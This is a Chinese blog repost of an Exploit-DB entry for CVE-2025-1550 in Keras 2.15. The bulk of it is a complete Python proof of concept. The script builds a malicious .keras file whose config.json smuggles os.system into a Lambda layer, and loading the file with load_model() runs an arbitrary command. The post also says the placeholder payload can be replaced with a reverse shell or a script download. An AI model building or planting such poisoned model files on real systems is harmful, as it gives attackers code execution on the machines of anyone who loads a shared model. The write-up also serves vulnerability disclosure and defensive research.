Keras 2.15 远程代码执行漏洞(RCE)利用分析

本文详细分析了Keras 2.15版本中的远程代码执行漏洞(CVE-2025-1550),通过恶意构造的.keras文件实现反序列化攻击,包含完整的Python利用代码和漏洞触发机制。

Keras 2.15 - 远程代码执行(RCE) - Python远程利用

漏洞信息

  • EDB-ID: 52359
  • CVE: 2025-1550
  • 类型: 远程利用
  • 平台: Python
  • 日期: 2025-07-16
  • 作者: Mohammed Idrees Banyamer
  • 验证状态: EDB已验证

漏洞描述

该漏洞利用Keras模型加载过程中的不安全反序列化机制。通过在.keras文件(或config.json)中嵌入恶意的"function"对象,攻击者可以在受害者使用keras.models.load_model()model_from_json()加载模型时执行任意系统命令。

利用原理

  1. 攻击者使用特制的config.json创建伪造的Keras模型
  2. 模型定义包含从os.system调用反序列化的"function"的Lambda层
  3. 当受害者使用load_model()加载模型时,恶意函数被执行
  4. 结果:在运行Python进程的用户权限下执行任意代码

受影响版本

  • Keras <= 2.15
  • 使用不安全反序列化路径的TensorFlow版本(2025年4月补丁前)

利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
# 利用标题: Keras 2.15 - 远程代码执行(RCE)
# 作者: Mohammed Idrees Banyamer
# 日期: 2025-07-09
# 测试环境: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# 类型: 远程代码执行(RCE)
# 平台: Python / 机器学习(Keras)
# 攻击向量: 恶意的.keras文件(通过反序列化的客户端代码执行)

import os
import json
from zipfile import ZipFile
import tempfile
import shutil
from tensorflow.keras.models import load_model

PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

def build_malicious_keras(output_file="malicious_model.keras"):
    tmpdir = tempfile.mkdtemp()
    try:
        config_path = os.path.join(tmpdir, "config.json")
        with open(config_path, "w") as f:
            json.dump(create_malicious_config(), f)

        metadata_path = os.path.join(tmpdir, "metadata.json")
        with open(metadata_path, "w") as f:
            json.dump({"keras_version": "2.15.0"}, f)

        weights_path = os.path.join(tmpdir, "model.weights.h5")
        with open(weights_path, "wb") as f:
            f.write(b"\x89HDF\r\n\x1a\n")  # HDF5签名

        with ZipFile(output_file, "w") as archive:
            archive.write(config_path, arcname="config.json")
            archive.write(metadata_path, arcname="metadata.json")
            archive.write(weights_path, arcname="model.weights.h5")

        print(f"[+] 创建恶意模型: {output_file}")
    finally:
        shutil.rmtree(tmpdir)

def trigger_exploit(model_path):
    print("[*] 加载恶意模型以触发利用...")
    load_model(model_path)
    print("[✓] 模型加载完成。如果存在漏洞,载荷应该已执行。")

if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file)

使用方法

1
2
3
4
$ python3 exploit_cve_2025_1550.py
[+] 创建恶意模型: malicious_model.keras
[*] 加载恶意模型以触发利用...
[] 模型加载完成。如果存在漏洞,载荷应该已执行。

选项说明

  • PAYLOAD: 加载时执行的命令(默认:touch /tmp/pwned_by_keras)
  • 可修改为:反弹shell、下载脚本等

注意事项

  • 仅在安全、沙箱环境中使用!
  • 该PoC生成一个.keras文件,加载时会触发反向shell或命令执行

标签

  • 反序列化
  • 远程利用
  • 机器学习安全
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计